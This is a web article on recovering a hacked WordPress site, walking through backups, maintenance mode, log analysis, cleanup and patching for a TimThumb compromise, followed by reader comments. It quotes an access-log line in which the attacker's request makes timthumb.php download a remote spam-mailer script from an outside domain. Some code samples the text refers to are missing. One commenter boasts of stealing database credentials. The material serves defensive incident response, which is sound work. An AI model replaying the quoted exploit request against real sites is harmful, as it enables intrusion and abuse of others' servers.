Are You Prepared Against A Hack?

Advertisement

“Danger: malware ahead!” and “This website may harm your computer” are the two sentences that I hate most and that I don’t want any of my clients to see when they open their website. If you have seen any of them on your own website, then I’ll bet you still remember your panic attack and how you struggled to get your website up and running ASAP.

Many great articles show how to prevent a website from being hacked. Unfortunately, unless you take it offline, your website is not and will never be completely unhackable. Don’t get me wrong, you still need to take preventive measures and regularly improve your website’s security; however, responding accordingly if your website does get hacked is equally important. In this article, we’ll provide a simple seven-step disaster-recovery plan for WordPress, which you can follow in case of an emergency. We’ll illustrate it with a real hack and specific commands that you can use when analyzing and cleaning the website.

Evaluate Your Assets

The first thing to figure out is which parts of your website are important and how crucial they are to your business’ success. This is called an assets evaluation. You might say that your entire website is important, but that would just be thinking of “important” generically. You have to think of your WordPress website as a group of components that work together to serve a single purpose, and some of which are more critical than others. The weight you allocate to a particular component will determine to a large extent your course of action in an emergency.

Let’s say you have an online shop built on WooCommerce, with a custom theme and a few extra plugins, including a contact form that is not very popular among your visitors and a gallery where you rarely upload pictures. You mainly generate profit from the WooCommerce cart because your business is to sell products online.

Imagine now that the WooCommerce plugin has a vulnerability and gets hacked. You have asked your hosting provider to clean the malware and fix the problem. They tell you that the WooCommerce plugin has been compromised and that they will update it, and they ask you if they may delete and restore the website from a backup, meaning that you will lose the last 24 hours of data? Most certainly, you will say no to the restore because you cannot afford that kind of a loss. You would want them to clean the website without losing any data.

However, if you know that only your gallery has been hacked, where your last upload was one month ago or where you post pictures that are unimportant to your revenue, then you would tell them to go ahead and restore the gallery from a backup — or even delete the gallery if that’s the fastest way to get the website up and running safely again.

Identify Who Can Help You

Once you are able to clearly identify the assets that are important for you, outline whom to contact for assistance if needed. While we’ll provide details in this article on how to handle the rather technical parts of the recovery plan, no one really expects you to do any of that stuff. You will be good to go if you simply know how to respond and whom to ask for assistance.

  • Your Web hosting provider
    Most WordPress Web hosts offer some kind of security-related support. In many cases, they will be the first ones to let you know you’ve been hacked and to help with some diagnostics. They also might provide additional services, such as website backups, log analysis, automatic WordPress upgrades, plugin upgrades, regular security audits, malicious code cleaning, early malware notifications and website backup restoration. Research how many of these services your host provides, so that you know when to ask the host for assistance and not lose time in meaningless back-and-forth communication.
  • Your theme’s and plugins’ developers
    If you’re using a theme and plugins provided by third parties, always make sure that the developer will be able to provide support in case the theme or plugin is hacked. Always choose trusted developers because they will be ready to patch vulnerabilities in their product and help you implement the patch.

A KISS Disaster Recovery Plan

As stated, your website will never become unhackable. To be prepared for the worst, you’ll need a disaster recovery plan that restores the website to its normal working state as quickly as possible. KISS (keep it short and simple). It doesn’t need to be complex, and you just need to list a few steps to follow in an emergency.

I’ll lay out my preferred recovery plan, illustrating each step with a real example: the WordPress TimThumb hack, which affected over 230 themes, over 30 plugins and more than 39 million Web pages as of early August 2011. I’ll assume we’re dealing with a hacked WooCommerce website, hosted on a platform with the following very popular hosting software: CentOS Linux version 6.5, cPanel/WHM control panel, Apache Web server, MySQL database server/PHP 5.3.x.

1. Don’t Panic!

Usually, a WordPress user learns that their website has been hacked from Google, by opening the website and seeing a defaced index page, or because their hosting provider has blocked public access to the website. However you find out, the most important thing is not to panic and to follow the plan below.

Let’s assume that you tried to open the website but saw an error message, denying you access to the website. You most probably contacted your host, which told you that the website was used to send unsolicited email and that, since you didn’t do it, it was most probably hacked. So, now you know: You’ve been hacked, and no matter how scary that is, keep calm.

2. Copy The Hacked Website And All Access Log Files

This step is mandatory. Don’t ever skip it. You need a backup of the hacked website and all access log files in order to analyze the malicious code and find out how the hackers managed to access your website’s files and/or database.

Tip: You could use a tool to back up the website, but the fastest way is to access your website via SSH and use the following commands to create the backup:

mysqldump -uUSER -pPASSWORD DB_NAME > your-site-folder/DB_NAME.sql
tar zcvf backup.tar.gz your-site-folder

In our case, you’ll need to back up on a server that has cPanel. So, you have two options.

Manually back up the website

To back up your MySQL database, use the following command:

mysqldump -uUSER -pPASSWORD DB_NAME > /home/USER/DB_NAME.sql

Use this next command to fully back up the SQL dump and the folder that stores your website’s files:

tar zcvf backup_hacked.tar.gz /home/USER/DB_NAME.sql /home/USER/public_html

The file backup_hacked.tar.gz will be created and stored in your account’s home folder. If you’re on a cPanel CentOS server, also back up the following log files:

  • /var/log/messages
    This is the FTP log file for most systems that use Pure-FTPd.
  • /usr/local/apache/domlogs/YOURDOMAIN.COM
    This is the Apache access log.
  • /var/log/exim_mainlog
    This is the Exim mail-server log file.
  • /usr/local/cpanel/logs/access_log
    This is the cPanel file manager log file.
  • /var/log/secure
    This is the log file for SSH connections.

Use cPanel to fully back up your entire hosting account

This functionality is accessible from your cPanel by going to the “Create Backup” icon. A full cPanel backup should also include the Apache access logs. Manually copy the rest of the log files and add them to the archive file.

3. Quarantine The Website

From the moment you have backed up till the moment the vulnerability is patched, your website should be in maintenance mode to prevent further data loss and hacks. Take it out of quarantine once you are sure that the vulnerabilities have been patched.

Going into maintenance mode properly is critical, so that your search engine rankings are not affected. Search engines constantly verify that pages still exist and haven’t changed. They check for two things when they open your website:

  • your Web server’s HTTP status response code,
  • the pages themselves and the content served to visitors.

HTTP status codes provide information about the requested page(s). An HTTP status code of 200 means that the page has been successfully found by the Web server, which then delivers it to the visitor. This is the only correct status code for content. There are other status codes for redirects: 301 (permanent redirect), 302 and 307 (temporary redirect). The status code for a website in maintenance mode is 503, which tells search engines that the website is temporary unavailable. You can send this status code in combination with a particular HTTP header (Retry-After) to tell search engines to re-access the website after a set period of time.

Tip: Start by creating a nice HTML maintenance page to use during the quarantine. Don’t wait to be hacked before creating the maintenance page. Save the HTML page on your account or on another server so that you can use it without wasting time.

Putting your WordPress website in maintenance mode can be done in one of two ways.

Enable maintenance mode

Maintenance mode is built into WordPress. To enable it, create a file named .maintenance in your website’s root folder. Add the following PHP code to the file:

<? $upgrading = time(); ?>

This PHP code will make WordPress show the maintenance page until you delete the .maintenance file. You could also create a custom maintenance page.

Important: This method only redirects requests to your WordPress files. If an attacker has managed to upload a PHP file manager or a shell script, then that malicious file would still be accessible via a Web browser.

Use Apache mod_rewrite to redirect all requests to a custom HTML maintenance page

This solution is better because you’ll be redirecting all requests, not just visitors who try to access the WordPress website directly.

To do this, name your custom HTML maintenance page maintenance.html and upload it to your website’s root folder. You can use the following HTML code:

<title>Down For Maintenance</title>

<style type="text/css" media="screen">
	h1 { font-size: 50px; }
	body { text-align:center; font: 20px Helvetica, sans-serif; color: #333; }
</style>

<h1>Down For Maintenance</h1>

<p>Sorry for the inconvenience. We’re performing maintenance at the moment.</p>
<p>We’ll be back online shortly!</p>

Create an empty file named maintenance.enable in your website’s root folder.

Finally, add the following lines to your .htaccess file:

RewriteEngine On
RewriteCond %{REMOTE_ADDR} !^123.56.89.12
RewriteCond %{DOCUMENT_ROOT}/maintenance.html -f
RewriteCond %{DOCUMENT_ROOT}/maintenance.enable -f
RewriteCond %{SCRIPT_FILENAME} !maintenance.html
RewriteRule ^.*$ /maintenance.html [R=503,L]
ErrorDocument 503 /maintenance.html
Header Set Retry-After "14400"
Header Set Cache-Control "max-age=0, no-store"

Let’s break down these mod_rewrite lines:

  • RewriteEngine On
    Turn on the rewrite engine.
  • RewriteCond %{REMOTE_ADDR} !^123.56.89.12
    Don’t match your own IP address. This line is optional; use it to prevent redirection to the maintenance page for requests from your own IP.
  • RewriteCond %{DOCUMENT_ROOT}/maintenance.html -f
    Make sure that the page named maintenance.html exists.
  • RewriteCond %{DOCUMENT_ROOT}/maintenance.enable -f
    Make sure that the file named maintenance.enable exists, which enables and disables the maintenance page.
  • RewriteCond %{SCRIPT_FILENAME} !maintenance.html
    Don’t apply the redirect rule when displaying the maintenance page.
  • RewriteRule ^.*$ /maintenance.html [R=503,L] ErrorDocument 503 /maintenance.html
    This is the actual redirection to the maintenance page itself.
  • Header Set Retry-After "14400"
    Set the Retry-After header to 14400 (i.e. four hours).
  • Header Set Cache-Control "max-age=0, no-store"
    This prevents caching.

At this stage, we have backed up the hacked website and put the live website in maintenance mode so that visitors do not see the hacked website and attackers cannot access the website via a browser.

Note: Now is the time to reset all of the passwords for your WordPress administrator account, for cPanel and for your FTP and email accounts.

4. Restore Website From A Clean Backup, Or Remove Malicious Code

There are two ways to clean a hacked website. The faster way is to completely delete the website and then restore it from a clean backup. This is easy to do but has two major disadvantages: You might lose some of your data, and you can’t be sure that the backups are clean. If you update your website only from time to time, then choose this method.

To make sure the backup is clean, scan it with antivirus software, although that won’t guarantee that the files are clean. The rule of thumb is to compare the files from the backup with the files from the live website. Choose several infected files from the live website and then check the same files in the backup. If they are clean, then chances are that the whole backup file is. Sometimes hacks may affect your database and not your files. In such cases you need to compare the database used by your live site and the backup of the same DB. A nice free tool that you can use is phpMyAdmin because you can easily see the data in all tables. The bad thing about it is that it cannot automatically show you the differences between the two databases and you have to manually check all of the tables. One of the popular commercial tools that you can use is MySQL Comparison Bundle1.

The second way to clean the website is to find the affected files and database tables and remove the malicious code. Depending on the hack, cleaning them could be relatively easy or extremely complicated. In either case, you’ll have to be proficient in using Bash or Perl in order to edit text files and replace certain strings, so that you can simultaneously remove malicious code from multiple files.

Tip: If you don’t feel comfortable cleaning the malware yourself, contact your host to do it for you. Most good WordPress hosting providers offer this as a paid service. If that’s not an option with your host, then look for security companies or automated services that detect and clean malware. If you opt for an automated malware service, don’t rely on it completely. Attacks and infections evolve all the time, and no software product will automatically detect every single attack and remove all possible variations of a malicious code block. After using such a tool, manually review your files and database to make sure they are clean.

Our hypothetical WooCommerce website was most probably updated pretty often, with new orders and payments coming in. So, restoring the website from a backup is not an option due to the potential loss of data. This leaves us with the option of cleaning the malware. To do that, we need to know where the malware is located.

Our attackers have sent spam mails from our hosting account. The first step is to analyze one of the spam emails and see how the hackers managed to send it. If you don’t have access to the mail logs, then ask your hosting provider to check the logs for you. We’ll need the headers of the spam email sent from your account.

To find such an email, look for your cPanel user name in the /var/log/exim_mainlog file. If our user name is tuser, we would search the log file using the Linux grep command:

grep tuser /var/log/exim_mainlog

Most Exim mail servers will show records related to messages that were delivered and generated by PHP scripts:

2014-04-15 12:43:09 [19963] 1Wa7O1-0005Bz-Ex H=localhost (mailserver.com) [127.0.0.1]:43395 I=[127.0.0.1]:25 Warning: Test Spam Mail  : This message was sent via script. The details are as: SCRIPT_FILENAME=/home/tuser/public_html/wp-content/themes/premiumtheme/cache/wp-mails.php PWD=/home/tuser/public_html/wp-content REMOTE_ADDR=189.100.29.167.

As you can see, the log record provides many useful details:

  • SCRIPT_FILENAME
    This is the PHP script that sent the mail.
  • REMOTE_ADDR
    This is IP address that sent the email.

If we check this PHP script, we’d find that it is not a part of WordPress’ core. In addition, we can block the remote IP address that sent the message, so that it cannot access our website again. The best way to block the IP address is to add the following line to your .htaccess file:

deny from 189.100.29.167

This wp-mails.php script is obviously not a part of WordPress’ core, so we can delete it. We’ll figure out how this script was uploaded to the website later. Finding all infected files is usually hard. As we have mentioned you can compare a clean backup with the live website. To do this, use the following command:

diff -r /path/to/hacked/site /path/to/clean/site

This command will show the differences between the two folders: new files, edited scripts and new folders. The point here is to quickly identify the differences and find the malicious back-door files. The following example shows the differences between an infected index.php file and a clean one:

As you can see, the hackers managed to add malicious code to the first line in the index.php script. Usually, hackers will infect many files, not just one, and will also add malicious code to existing lines of code, so that removing it is very hard. Let’s assume that our clean index.php file is the default WordPress index.php:

The hackers have modified the file and added malicious code to line 14, changing the file to the following:

The hackers added the malicious code before the WP_USE_THEMES definition line. Use the following Linux sed command to remove only the malicious code and keep the legitimate WordPress code:

The sed command uses a regular expression to find only the malicious code and remove it via substitution. You can combine it with the Linux find command to find all infected files and remove the malicious code. Of course, be very careful not to remove legitimate code.

5. Check Archived Logs For Records Of Attack

Cleaning your website is just the first part of the recovery. More important is to find out how the attackers managed to do this. Usually, that information is kept in the server’s access log files, including for website access, FTP, SSH, the file manager and the control panel. Different vulnerabilities are exploited in very different ways, which is why you’ll need to be familiar with the structure of all of the access logs.

Tip: Some attacks are difficult to find, and log files that are even three to six months old will need to be checked. Keep your old log records for at least three months. Not many hosts keep logs that old, so start keeping them yourself! Also, reading logs is time-consuming and painful, so consider outsourcing that to a security specialist or to your Web host, if they offer such a service.

Now that our website is clean, we need to find out how the hackers managed to upload the wp-mails.php file to our account. The easiest way to do this is to check all logs files and search for the wp-mails.php file (using the grep command). Upon checking the log files, we find the following record:

189.100.29.167 - [12/Apr/2014:06:53:41 +1000] “GET /wp-content/themes/premiumtheme/timthumb.php?src=http://www.blogger.com.exl.ro/max/wp-mails.php HTTP/1.1″ 301 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]”

Upon analyzing the log record, we notice the following information:

  • 189.100.29.167
    This IP address accessed the website and used the timthumb.php script.
  • premiumtheme/timthumb.php
    The timthumb.php script is a part of your premium theme.
  • http://www.blogger.com.exl.ro/max/wp-mails.php
    The wp-mails.php script was downloaded from the blogger.com.exl.ro domain name.

This log record clearly indicates that the wp-mails.php script was uploaded via the timthumb.php script, which is a part of our premium theme. Upon opening the timthumb.php script, we notice that it is an outdated version of the famous TimThumb2 project.

6. Resolve Security Vulnerability

When you find the vulnerability, you’ll have to patch it accordingly. For example, if you find that a WordPress plugin is vulnerable, you’ll have to update it, delete it or limit access to it so that attackers cannot use it. After all, you don’t want your website to be hacked again right after you’ve cleaned it.

We’ve identified the source, and now it is time to resolve it before re-enabling the website. The best option is to update the script and replace it with the latest version, which you can download from the official TimThumb website. However, this solution might not be suitable because many theme vendors modify scripts and change code blocks to meet their own requirements. Another solution would be to delete the timthumb.php script and then ask your theme’s provider to issue an updated version of the entire theme. If the theme provider is reliable, then they would have already patched their theme for a vulnerability of that size.

For better security, temporarily “hide” the timthumb.php script from remote access until you update it by using .htaccess rules to allow access from certain IP addresses:

deny from all
allow from YOUR_IP

Deleting the template and reinstalling it once you obtain the new version from the vendor is also wise.

7. Unquarantine Website, And Inform Stakeholders

Before you “unquarantine” your website, change all passwords for all accounts one more time. That’s the only way to make sure that the attackers will not be able to access the website through an affected account.

To unquarantine, simply remove the maintenance page and comment out the added lines in the .htaccess file.

You can also create a cron job that informs you if any file gets changed or a new file is uploaded. The following simple find command will find all files and folders that have been modified or created in the last 60 minutes:

find /home/tuser/public_html/ -mmin -60

A similar command is often used to display new images, CSS files or JavaScript files, but you can use it to keep an eye on files that have been uploaded to or modified on your hosting account.

The last thing to do is analyze the whole situation one more time and decide whether to inform your visitors of the issue. In our case, the hackers sent some spam emails, and the important data in the MySQL database was not affected. However, in some situations you might have to inform users that a certain type of vulnerability has affected the website and then prompt them to change their password or account settings.

Conclusion

Web security is complicated. Analyzing logs is time-consuming, and an inexperienced user might need hours to find the right line in a log file. The same goes for cleaning malicious code, scanning a website, managing a database and so many other security-related tasks. If you’re not a developer or system administrator, then you’d need years to learn all of the technical details and to learn how to “unhack” a website. The good news is that you don’t have to deal with this all by yourself!

The one thing you need to do, no matter how inexperienced you are, is be aware of the problem and be ready to manage it. If you remember the following essential points, you will be able to resolve any WordPress vulnerability and clean your hacked website:

  • Know which parts of your website can be sacrificed for the greater good, and which are critical to your business.
  • Security consists of both technology and policy. Learn about security problems with WordPress, and develop an effective policy to monitor and respond to issues. Then, work with others (your Web host, security specialists, etc.) to resolve vulnerabilities as soon as possible.
  • Security is a journey, not a destination. Even if your website is secure today, it might be defaced tomorrow. Security is an ongoing battle, won alternately by the good guys and the bad guys. The problem can’t be solved once and for all, which is why you need a disaster recovery plan that you can use when your website is in jeopardy!

Image credit (Excerpt): Alexandre Dulaunoy3

(al, ml)

↑ Back to topShare on Twitter

Daniel is a senior web apps engineer at SiteGround web hosting company. His years of experience in cleaning hacked websites and patching vulnerabilities that affect different applications like WordPress, Joomla, etc. have helped him work effectively on many of the security relates projects of the company. When he’s not busy in making the web a safer place, you can see him practicing extreme and not so secure sports while traveling the world.

  1. 1

    Thanks for this @Daniel. I use Jetpack and other backup plugins so avoid getting into this situation. But I have helped some friends when their websites were hacked with the timthumb issue. Regarding the logs, are using the SSH commands possible for shared hosting accounts, such as these grep tuser /var/log/exim_mainlog?

    Also you mentioned about the file “maintenance.enable”. Can you please explain what exactly was the purpose of it? If this file did not exist, what would happen?

    1
    • 2

      Daniel Kanchev

      June 1, 2014 7:04 am

      Hi Harish,

      Usually, if your account is hosted on a shared server you can’t access the global log files. That’s exactly why you need to choose a hosting provider that will be able to help you and provide the relevant records from the log files in case you need them. Regarding the “maintenance.enable” file, it is needed so that all requests will be redirected to the maintenance.html page. If the “maintenance.enable” file is not present the .htaccess rules will simply be disregarded by the Apache mod_rewrite module.

      1
  2. 3

    Thanks for the great tips on hardening our WordPress sites!

    0
  3. 4

    Gabriele Romanato

    May 30, 2014 8:24 pm

    The problem with WP and website security is that 90% of WP plugins are poorly written. I’m sure you know how many security reports have been issued by Secunia regarding WP plugins. Many plugins barely know what the words “tainted input” and “data validation” actually mean. Further, only a small subset of plugins are constantly updated and this adds an extra level of weakness to an already insecure scenario. And yes, themes suffer from this problem as well. The sad truth about this story is that the “the software is provided as is” used by the GPL license has been completely overused by developers. In a web hosting scenario users should not blame the server environment if they’ve been hacked, unless the hosting service is unmanaged. Also, they should not blame WordPress itself: WP regularly patches its bugs. I suggest forcing plugins and themes developers to take an immediate crash course on web security. Alternatively, just stop writing poor and outdated code. Very interesting article. :-)

    7
  4. 5

    Christopher Erk

    May 30, 2014 8:31 pm

    Great article! Just wanted to drop this in here. Any server administrators or hosting providers may want to check out ConfigServer eXploit Scanner (cxs). It’s a scanner which can automatically quarantine hacked files or uploaded malicious files. I have not had a website get blacklisted on google for malware since this has been setup.

    Of course, at a server level, there is much more you can do to help prevent it, but that’s for another blog article. :P

    1
    • 6

      Daniel Kanchev

      June 1, 2014 7:27 am

      Hi Christopher,

      The ConfigServer eXploit Scanner is a good tool but I personally recommend it only for dedicated servers and virtual private servers. The tool uses ClamAV and Apache mod_sec and these solutions often cause unnecessary overloads when they have to analyze huge amount of traffic. Thus, for shared servers that host many big/heavy websites I often advise people to use a separate firewall server.

      1
  5. 7

    About the .htaccess redirect to maintenance.html, that is not the point where you should set HTTP HEADERS to 503?

    0
    • 8

      Daniel Kanchev

      June 1, 2014 8:03 am

      Hi Juvenau,

      The .htaccess RewriteRule redirects the visitors to the maintenance.html page and it also sets the HTTP response header to 503. The response header is set by the mod_rewrite R flag (“[R=503,L]“).

      0
  6. 9

    these are all fine and dandy things to do, but these strategies are moot if the server that’s being used is a shared server. A strongly suggested tip is to move away from them, and get a dedicated box. there are companies out there that offer managed dedicated boxes so you don’t have to be a sysadmin and do all of the grunt maintenance. if an attacker decided to do a reverse dns lookup on the victim’s domain, and tries to instead break into an even more insecure site — served from the same exact box — then _everybody_ on that shared box is susceptible and all of your hard work to harden everything means nothing. I’ve already viewed your wp-config.php files, got your database credentials, dumped all of your hashed password, cracked them, and logged into your administrator account.

    -2
    • 10

      Daniel Kanchev

      June 1, 2014 7:49 am

      Hi moimikey,

      I fully understand your concerns but in my opinion the days of crappy shared hosting are long gone. All of the reputable hosting providers use many different technologies (kernel modules, special chroot environments, etc.) to provide account isolation. Thus, if one account is hacked the rest will remain unaffected because the hacker will not be able to see the files and processes owned by other clients on the same server.

      Shared hosting companies that don’t offer account isolation will slowly die and their clients will migrate their sites to trusted hosting providers. In addition, good shared hosts analyze thousands of attacks every hour and they can offer better protection than any system administrator who manages only a single dedicated server. By analyzing huge amount of malicious traffic shared hosts can offer adequate real-time protection against attacks. That is why my advice for the readers is to make sure that their hosting providers offer account isolation.

      3
  7. 11

    προώθηση ιστοσελίδων

    May 30, 2014 11:01 pm

    Very interesting article. Many thanks from Greece

    0
  8. 12

    Thanx Daniel, this article was deep and easy to understand for a beginner like me. I would love to see more article on security from you.

    0
  9. 13

    Patrick Coombe

    May 31, 2014 7:08 am

    Thanks Daniel – I’ve dealt with several hacks this year, and one of them was personal and not fun.

    One thing that I just cannot stress enough is making backups. I know it is cliche to say that but I’ve kicked myself so many times for not doing so. It takes so little time to do but is just so very important, especially for users that blog a lot or have a lot of UGC.

    Now I am doing entire server images a few times per month to just skip past all the bullshit.

    Thanks so much for your post, very well written.
    Patrick

    1
    • 14

      Daniel Kanchev

      June 1, 2014 7:16 am

      Hi Patrick, I am glad that you liked the article :)

      Too many people don’t create backups of their websites and backups are absolutely essential. Having a website without a backup is like having a house without a home insurance. There is only one solution and it is to automate the backup process. This way you won’t have to dedicate time to manually backup your sites.

      0
  10. 15

    Thanks for the technical topic you have covered. For any kind of website security is more important against hacks. Check software encryption functionality periodically. Hope this is also main to focus on

    0
  11. 16

    Backup your site before you wish you had…

    0
  12. 17

    Thanks for the great article on hacked WP sites and just general good practices of covering yourself when you do get hacked.

    I build Joomla sites primarily and have had the occasional bad experience of a site being hacked about every one or two years. I’m always so glad I have a backup or I should say a lot of backups. With storage cost on something like Amazon S3 being so cheap I can afford to have hundreds of backups, at least 10 per site, be offsite on S3. One more extra layer of protection along with a good firewall component.

    I just wish I had access to this great article when I had a WordPress site get hacked last year. After many hours of trying to patch it and get it working again, never could get into the admin side of the site. I gave up and rebuilt it in Joomla, a CMS I know how to fix should it get hacked. My lack of knowledge on WP and lack of help from the previous host made me abandon an otherwise good site. With this article I could have probably saved a lot of time.

    2
  13. 18

    eberhard.grossgasteiger

    June 6, 2014 7:21 am

    Really great article, please enjoy us with more articles about security!

    0
  14. 19

    Hacking is something that can happen to virtually anyone, as many local councils in the UK have found over the last two years. Those who would like peace of mind may care to use an external service such as Sitemorse which continually monitors content. Should key content change, web admins can be notified by email or text message. The service runs around the clock so can be particularly useful when as so often happens, the hack only becomes apparent out of normal working hours.

    1
  15. 20

    Hey Daniel,
    Nice post! I just wanted to reach out and let you know that I included it in the InterWorx roundup of May’s best security content. http://www.interworx.com/community/round-best-administration-enterprise-hosting-security-content/ Thanks for the valuable resource.

    Ben

    1
    • 21

      Nice article, indeed. When I face first hacker attack it was so bad feeling. Using some techniques hacker able to reach backend DB and change admin passwords.

      Right now, I develop cite locally and next month will be ready to roll-out it live (and probably in your hosting company because I need Singapore as only one preferred location for Thailand, while site can be reachable from around the world too). But, because this site is WP +WC + Premium Theme + Plugins, just like in your primer, I worried how to test it for some basic security. Maybe some tool exist? Thanks.

      1
      • 22

        Hi Cat,

        One of the most useful tools that you can use to scan your site is called WPScan and you can check it at http://wpscan.org/. It is supported on both Linux and Mac and it is really easy to use it.

        0

Leave a Comment

Yay! You've decided to leave a comment. That's fantastic! Please keep in mind that comments are moderated and rel="nofollow" is in use. So, please do not use a spammy keyword or a domain as your name, or else it will be deleted. Let's have a personal and meaningful conversation instead. Thanks for dropping by!

↑ Back to top